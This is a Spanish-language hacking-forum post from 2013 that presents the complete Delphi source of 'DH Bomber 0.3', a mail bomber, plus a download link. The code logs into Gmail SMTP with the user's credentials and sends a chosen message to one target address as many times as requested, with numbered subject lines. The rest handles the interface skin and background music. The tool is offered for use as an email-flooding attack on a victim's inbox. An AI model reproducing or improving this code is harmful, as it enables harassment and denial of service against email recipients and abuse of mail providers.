Foro de elhacker.net

Programación => Programación General => Mensaje iniciado por: BigBear en 26 Julio 2013, 21:19 pm



Título: [Delphi] DH Bomber 0.3
Publicado por: BigBear en 26 Julio 2013, 21:19 pm
Un simple mail bomber hecho en Delphi con musica incluida , para usarlo necesitan una cuenta en Gmail.

Una imagen :

(http://doddyhackman.webcindario.com/images/dhbomber.jpg)

El codigo :

Código
  1. // DH Bomber 0.3
  2. // Coded By Doddy H
  3. // Credits :
  4. // Based on : http://www.lastaddress.net/2013/05/sending-email-with-attachments-using.html
  5.  
  6. unit dh;
  7.  
  8. interface
  9.  
  10. uses
  11.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  12.  Dialogs, sSkinManager, StdCtrls, sGroupBox, jpeg, ExtCtrls, sEdit, sLabel,
  13.  sMemo, ComCtrls, sStatusBar, sButton, MPlayer, Menus, IdIOHandler,
  14.  IdIOHandlerSocket,
  15.  IdIOHandlerStack, IdSSL, IdSSLOpenSSL, IdBaseComponent, IdComponent,
  16.  IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase,
  17.  IdSMTPBase, IdSMTP, IdMessage, IdAttachment, IdAttachmentFile;
  18.  
  19. type
  20.  TForm1 = class(TForm)
  21.    sSkinManager1: TsSkinManager;
  22.    sGroupBox1: TsGroupBox;
  23.    Image1: TImage;
  24.    sLabel1: TsLabel;
  25.    sEdit1: TsEdit;
  26.    sLabel2: TsLabel;
  27.    sEdit2: TsEdit;
  28.    sGroupBox2: TsGroupBox;
  29.    sLabel4: TsLabel;
  30.    sEdit4: TsEdit;
  31.    sLabel5: TsLabel;
  32.    sEdit5: TsEdit;
  33.    sLabel6: TsLabel;
  34.    sEdit6: TsEdit;
  35.    sGroupBox3: TsGroupBox;
  36.    sMemo1: TsMemo;
  37.    sButton1: TsButton;
  38.    sStatusBar1: TsStatusBar;
  39.    PopupMenu1: TPopupMenu;
  40.    MediaPlayer1: TMediaPlayer;
  41.    N2: TMenuItem;
  42.    S2: TMenuItem;
  43.    procedure FormCreate(Sender: TObject);
  44.    procedure N2Click(Sender: TObject);
  45.    procedure S2Click(Sender: TObject);
  46.    procedure MediaPlayer1Notify(Sender: TObject);
  47.    procedure sButton1Click(Sender: TObject);
  48.  
  49.  private
  50.    { Private declarations }
  51.  public
  52.    { Public declarations }
  53.  end;
  54.  
  55. var
  56.  Form1: TForm1;
  57.  
  58. var
  59.  themenow: Boolean; { Global Variable }
  60.  
  61. implementation
  62.  
  63. {$R *.dfm}
  64.  
  65. procedure TForm1.FormCreate(Sender: TObject);
  66. begin
  67.  
  68.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  69.  sSkinManager1.SkinName := 'deep';
  70.  sSkinManager1.Active := True;
  71.  
  72.  MediaPlayer1.FileName := 'data/theme.mp3';
  73.  MediaPlayer1.Open;
  74.  themenow := True;
  75.  MediaPlayer1.Play;
  76.  MediaPlayer1.Notify := True;
  77. end;
  78.  
  79. procedure TForm1.MediaPlayer1Notify(Sender: TObject);
  80. begin
  81.  if (MediaPlayer1.NotifyValue = nvSuccessful) and themenow then
  82.  begin
  83.    MediaPlayer1.Play;
  84.    MediaPlayer1.Notify := True;
  85.  end;
  86. end;
  87.  
  88. procedure TForm1.N2Click(Sender: TObject);
  89. begin
  90.  themenow := True;
  91.  MediaPlayer1.Play;
  92.  MediaPlayer1.Notify := True;
  93. end;
  94.  
  95. procedure TForm1.S2Click(Sender: TObject);
  96. begin
  97.  themenow := false;
  98.  MediaPlayer1.Stop;
  99.  MediaPlayer1.Notify := True;
  100. end;
  101.  
  102. procedure enviate_esta(username, password, toto, subject, body: string);
  103. var
  104.  data: TIdMessage;
  105.  mensaje: TIdSMTP;
  106.  
  107. begin
  108.  
  109.  mensaje := TIdSMTP.Create(nil);
  110.  
  111.  data := TIdMessage.Create(nil);
  112.  data.From.Address := username;
  113.  data.Recipients.EMailAddresses := toto;
  114.  data.subject := subject;
  115.  data.body.Text := body;
  116.  
  117.  mensaje.Host := 'smtp.gmail.com';
  118.  mensaje.Port := 587;
  119.  mensaje.username := username;
  120.  mensaje.password := password;
  121.  
  122.  mensaje.Connect;
  123.  mensaje.Send(data);
  124.  mensaje.Disconnect;
  125.  
  126.  mensaje.Free;
  127.  data.Free;
  128.  
  129. end;
  130.  
  131. procedure TForm1.sButton1Click(Sender: TObject);
  132.  
  133. var
  134.  i: integer;
  135.  count: integer;
  136.  idasunto: string;
  137.  
  138. begin
  139.  
  140.  count := StrToInt(sEdit5.Text);
  141.  
  142.  For i := 1 to count do
  143.  begin
  144.  
  145.    if count > 1 then
  146.    begin
  147.      idasunto := '_' + IntToStr(i);
  148.    end;
  149.  
  150.    try
  151.      begin
  152.        sStatusBar1.Panels[0].Text := '[+] Sending Message Number ' + IntToStr
  153.          (i) + ' ...';
  154.        Form1.sStatusBar1.Update;
  155.  
  156.        enviate_esta(sEdit1.Text, sEdit2.Text, sEdit4.Text,
  157.          sEdit6.Text + idasunto, sMemo1.Text);
  158.      end;
  159.    except
  160.      begin
  161.        sStatusBar1.Panels[0].Text :=
  162.          '[-] Error Sending Message Number ' + IntToStr(i) + ' ...';
  163.        Form1.sStatusBar1.Update;
  164.      end;
  165.  
  166.    end;
  167.  
  168.    sStatusBar1.Panels[0].Text := '[+] Finished';
  169.    Form1.sStatusBar1.Update;
  170.  
  171.  end;
  172.  
  173. end;
  174.  
  175. end.
  176.  
  177. // The End ?
  178.  

Si quieren bajar el programa lo pueden hacer de aca (https://sourceforge.net/projects/dhbomber/).